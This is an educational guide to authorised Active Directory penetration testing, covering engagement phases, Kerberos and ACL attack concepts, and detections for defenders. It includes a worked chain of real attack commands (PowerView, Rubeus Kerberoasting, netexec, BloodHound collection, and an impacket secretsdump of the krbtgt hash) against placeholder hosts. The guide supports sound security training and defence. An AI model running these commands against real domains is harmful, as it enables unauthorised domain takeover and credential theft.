Active Directory Penetration Testing Guide: The Hub

What this covers and who it is for

An Active Directory penetration test is a scoped, authorised assessment of a Windows domain that answers one question: which chain of accounts, permissions and misconfigurations lets an attacker climb from an ordinary user to Domain Admin, and which link can defenders cut first? This hub is the map for that work. It gives you the engagement order, the concepts behind the tooling, one worked chain from foothold to domain compromise, the mistakes that burn days, and the defender’s view of every step.

Read this if you are a pentester on a first internal AD engagement, a sysadmin or blue teamer who wants to understand what an attacker sees, or a small-business owner judging whether the “AD pen test” you were quoted is a real assessment or a vulnerability scan with a nicer cover page. It assumes Windows administration, TCP/IP and a command line, not exploit development.

Scope and authorisation. Everything here is offensive tradecraft. Running any of it against a domain you do not own, or have not been explicitly contracted in writing to test, is unauthorised access: a criminal offence in most jurisdictions and a career-ending mistake. A valid engagement needs a signed scope listing in-scope subnets, hosts and domains; a named authorising officer; test windows; agreed source IPs; read-only handling of production data; and an escalation path if you find something live. Practise in an isolated lab on evaluation media you own. If you cannot put your hands on the authorisation document, do not run the command.

The short version

Active Directory penetration testing follows a predictable arc. Work in this order and you will spend your time proving impact instead of guessing:

1. Authorise and scope first. Signed rules of engagement, in-scope domains, test windows, data-handling rules, emergency contacts. No verbal approvals.
2. Start at the outside and the edges. External reconnaissance, then unauthenticated enumeration of anything reachable: VPN portals, RDP gateways and SMB shares that answer before you log in.
3. Get one authenticated foothold. One ordinary domain user on one workstation is enough to map almost the entire directory.
4. Enumerate as that user, quietly. Users, groups, computers, SPNs, shares, sessions, ACLs, Group Policy and certificate templates.
5. Collect and model. Feed the directory data into BloodHound and read the attack paths.
6. Convert paths into proof. Kerberoasting, delegation abuse, ACL abuse, certificate services and credential material. Take the quietest path that reaches the agreed objective, then document it.
7. Hand it back. Evidence, blast radius, and a remediation list the client’s own team can execute, mapped to detections they can enable today.

Most engagements fail at step one or step six: the scope never permitted the final step, or the tester stopped before showing what the path reaches.

Key concepts you need first

Tools change monthly; these concepts do not. Understand the eight items below and you can pick up any AD tool.

• Kerberos ticket flow. A user authenticates once and receives a Ticket Granting Ticket. To reach a service, the client presents the TGT to the Key Distribution Center and receives a service ticket encrypted with a key derived from the service account’s password. That detail drives several attacks.
• Service principal names and Kerberoasting. Any account with an SPN can have a service ticket requested by any authenticated user, then cracked offline. Weak service-account passwords fall in minutes; long machine-managed ones do not fall at all.
• AS-REP roasting. Accounts configured without Kerberos pre-authentication hand an attacker a crackable response on request, needing only a valid username.
• Delegation. Unconstrained, constrained and resource-based constrained delegation let services act as users, so one misconfigured server can be a shortcut to domain compromise.
• ACL abuse primitives. GenericAll, WriteDACL, WriteOwner, ForceChangePassword and AddMember on a group or object are usually the shortest path forward. A directory full of ACL mistakes is more dangerous than one unpatched server.
• Certificate services. Misconfigured certificate templates and weak certificate authority settings can mint authentication certificates for privileged users. Assess certificate services on every engagement.
• Credential material. NTLM hashes, AES keys and Kerberos tickets can all be used directly, which is why pass-the-hash movement still works almost everywhere.
• Attack paths versus findings. A finding is “unconstrained delegation is enabled on this server.” A path is “that server receives a Domain Admin ticket every Friday, and any local administrator on it can extract the ticket and become Domain Admin.” Clients pay for paths, defenders can prioritise them.

One more concept governs your noise budget: every enumeration step generates telemetry. Directory queries, ticket requests and authentication events are logged and alerted on in mature environments. Know what your actions look like, and agree whether the engagement is stealth, standard or full-noise.

How to apply this

Phases, with the detail you need in the room. Substitute your own in-scope names; examples use placeholders.

1. Scope and rules of engagement. Confirm which domains, forests and trusts are in scope: attacking a parent domain from a child can void an engagement. Record lockout policy before anything that fails authentication, because one sprayed password can lock out staff mid-day. Ask whether password resets, service account changes and Group Policy edits are permitted or prohibited.
2. Build the picture. With one low-privilege credential, enumerate users, groups, computers, trusts, SPNs, sessions, shares and ACLs. In PowerShell, load a directory enumeration module such as PowerView and query deliberately rather than in bulk. External reconnaissance is covered in our OSINT tools hub, host discovery in Port Scanning with Python, Bash, and PowerShell, and PowerShell tradecraft in PowerShell for Pentesters.
3. Collect and graph. Run a BloodHound collector (SharpHound on Windows, bloodhound-python from Linux) and ingest the output. The graph answers what takes hours by hand: which users have a path to Domain Admins and which ACL edges are traversable.
4. Harvest credential material. Kerberoast accounts with SPNs, check for pre-authentication-disabled accounts, inspect groups such as Backup Operators, and look for credentials stored where they should not be. Crack offline, never online.
5. Move laterally. Use the quietest method that fits: WinRM, SMB, scheduled tasks or remote service creation. Each creates a log entry naming your source host, so note which hosts you touched and when.
6. Prove impact and stop. Reaching the agreed objective is the deliverable. Dumping every hash in the estate or creating persistence is out of bounds unless explicitly contracted.

A worked example: one user to Domain Admin

An authorised internal engagement. Domain corp.example.local, domain controller DC01 at 10.20.0.10, and one standard helpdesk account, helpdesk02, on workstation WS01. Everything below runs inside the in-scope range.

# 1. Find roasting targets
Import-Module .\PowerView.ps1
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

# 2. Request service tickets, crack offline
Rubeus.exe kerberoast /outfile:hashes.txt

# 3. The cracked account is local admin on APP01
netexec smb 10.20.0.30 -u corp\svc_sql -p 'PASSWORD' --local-auth

# 4. Collect directory data and find the shortest path
bloodhound-python -u svc_sql -p 'PASSWORD' -d corp.example.local -ns 10.20.0.10 -c All

# 5. BloodHound shows svc_sql has GenericAll over the Tier-1 admin group
# 6. Confirm replication rights, then read rather than write
impacket-secretsdump corp.example.local/svc_sql:'PASSWORD'@10.20.0.10 -just-dc-user krbtgt

What happened: a helpdesk account enumerated the directory; a service account password cracked against a common-word rule set; that account was over-privileged on a server; the graph revealed an ACL granting full control over a privileged group; and the final step was directory replication. Every link exists for boring reasons: a service account nobody rotates, a local admin group populated for convenience, an ACL never reviewed. Your report shows the chain as a diagram plus one fix per edge, then states what you did not touch and confirms cleanup.

The defender’s view of the same chain

Every attacker step has a matching control and detection. Walk this list with the client’s blue team at the debrief:

• Directory enumeration: alert on unusually large LDAP queries and on the attribute combinations BloodHound collectors request, such as SPNs and delegation flags. Restrict directory read access for non-admin accounts where possible.
• Kerberoasting: log and alert on Kerberos service ticket requests using weak RC4 encryption, especially many requests from one host in a short window. Remove SPNs from accounts that do not need them, move services to group-managed service accounts with long passwords, and enforce AES where compatibility allows.
• Over-privileged service accounts: audit local administrator group membership on servers and remove service accounts from it. Rotate service credentials on a schedule.
• Excessive ACLs: review who holds full control over privileged groups and organisational units, remove legacy rights, and keep a baseline so changes surface.
• Replication rights: only domain controllers and chosen synchronisation accounts should hold directory replication rights. Alert on any other principal invoking replication and on directory service access events on the domain controller.
• Movement and credential dumping: enable command-line logging for process creation, forward security events centrally, and alert on remote service creation, scheduled task creation and unusual admin logons to servers.

Two cheap additions help: a decoy service account with an SPN that nothing legitimate uses, and a honeytoken user object that only appears in directories an intruder enumerates. Any authentication or ticket request for either should be a high-priority alert.

Where people get this wrong

• Treating it as a tool-running exercise. Running BloodHound, kerberoasting everything and dumping hashes is not an assessment. The deliverable is a proven path and the shortest fix.
• Going loud first. A full directory collection with every costly option enabled can trip monitoring, time out and get the engagement paused. Agree the noise level and collect once.
• Ignoring lockout policy. Password spraying without checking the lockout threshold is how testers lock out a client’s staff and lose the contract. Check policy, wait out the observation window, keep attempts tiny.
• Stopping at Domain Admin. The worst paths often run through certificate services, a synchronisation account from a hybrid identity deployment, backup software that can write to a domain controller, or an unconstrained delegation host holding a privileged ticket. Domain Admin is a milestone, not the finish line.
• Cracking without a plan. If a service account password is long and random, Kerberoasting yields nothing useful. Say so in the report, then check delegation, ACLs and certificate templates instead.
• Modifying production to prove a point. Resetting a live service account password or editing a Group Policy object can break the client’s Monday morning. Prove access and stop unless the rules of engagement explicitly allow the change.
• Reporting tools instead of impact. “Unconstrained delegation detected” gets filed and forgotten; “this path lets any local administrator on APP01 become Domain Admin” gets budget. If the blue team cannot reproduce your detections the following week, the engagement produced a document rather than a change.

Where to go next

This hub is the entry point for the Windows and Active Directory offense cluster; the companion guides in the series follow in this order:

• BloodHound tutorial: collector options, graph interpretation, and the queries that turn raw directory data into a route.
• Kerberoasting explained: how the attack works, why weak service passwords are the real problem, and what the defender sees.
• Impacket cheat sheet: the command set for remote execution, credential extraction and replication from a Linux workstation.
• Windows privilege escalation checklist: the host-level work that turns a low-privilege shell into a foothold worth attacking from.

Elsewhere in the penetration testing pillar: SQL Injection Testing Guide and API Penetration Testing cover the application layer in front of the database accounts your domain trusts; Burp Suite Tutorial covers the web front ends you meet during enumeration; Set Up a Successful Bug Bounty Team covers turning repeatable findings into a continuous programme; and if the estate includes connected devices, read Penetration Testing IoT Devices next. You can also browse the full penetration testing archive.

Whichever piece you pick, keep the discipline this hub is built on: authorise in writing, enumerate patiently, prove the shortest path, stop before you break something, and leave the client with detections they can run tomorrow.